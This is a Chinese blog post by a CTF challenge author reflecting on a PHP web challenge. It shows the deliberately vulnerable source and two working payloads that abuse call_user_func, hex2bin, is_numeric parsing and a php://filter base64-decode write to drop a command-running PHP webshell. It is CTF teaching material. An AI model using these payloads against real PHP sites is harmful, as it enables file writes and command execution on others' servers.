• 关于第一次出题的反思


    对ctfshow上面的旧版本web100进行了修改,更改完的源码如下:

    <?php
        highlight_file(__FILE__);
        $v1 = $_POST['v1'];
        $v2 = $_GET['v2'];
        var_dump($v2);
        $v3 = $_GET['v3'];
        $v4 = is_numeric($v2) and is_numeric($v3);
        if($v4){
            $s = substr($v2,2);
            $str = call_user_func($v1,$s);
            echo $str;
            if(!preg_match("/.*p.*h.*p.*/i",$str)){
                file_put_contents($v3,$str);
            }
            else{
                die('Sorry');
            }
        }
        else{
            die('hacker');
        }
    ?>
    
    //这里可以自己调用一个函数,使用hex2bin,将十六进制转成字符串,然后写入文件,再访问文件即可
    Payload:?v2=0x3c3f3d60746163202a603b3f3e&v3=sh.php  POST:v1=hex2bin
    

    本来想着这样就能做了,本地测试了也没问题,交给了群主大大。但是问题就来了,因为群主给题目使用的php版本是php7,而不是php5导致了预期解直接用不了了。详细可以查看:https://www.php.net/manual/en/function.is-numeric.php

    版本 描述
    7.0.0 十六进制(如 )表示法中的字符串不再被视为数字字符串,即is_numeric() 现在返回 FALSE。 0xf4c3b00c

    这样子直接导致了上面的payload不能使用,需要重新构造新的payload,通过php官网的查看,发现除了十六进制,还有一个"数字e数字"的格式是可以使用的。

    感谢Firebasky师傅提供的新的Payload,出题人该被暴打狗头

    构造需要写入文件的payload
    <?=`cat *`;
    使用base64编码后:PD89YGNhdCAqYDs
    使用bin2hex函数将字符串转成十六进制的内容:5044383959474e6864434171594473
    //这里有个巧妙之处,刚好只有一个e,识别成了科学计数法,很顶
    而这里的v3也需要进行修改成伪协议的方式
    最后的Payload:
    GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=sh.php
    POST:v1=hex2bin
    

    第一次出题,对于php版本没有说明清楚,导致题目难度又上升了,本来是一个新手入门的题目,直接变成了一个脑洞题,这确实是自己的问题,难受!对于做题的兄弟们感到抱歉。

  • 相关阅读:
    [转]java中的匿名内部类总结
    linux 命令总结
    [转载]nohub java -jar xx.jar >/dev/null 2>&1 &
    Java正则表达式Pattern和Matcher类详解
    spark基础知识介绍(包含foreachPartition写入mysql)
    spark 运行架构
    spark核心原理
    行动操作
    控制操作
    键值转换操作
  • 原文地址:https://www.cnblogs.com/erR0Ratao/p/13731541.html
Copyright © 2020-2023  润新知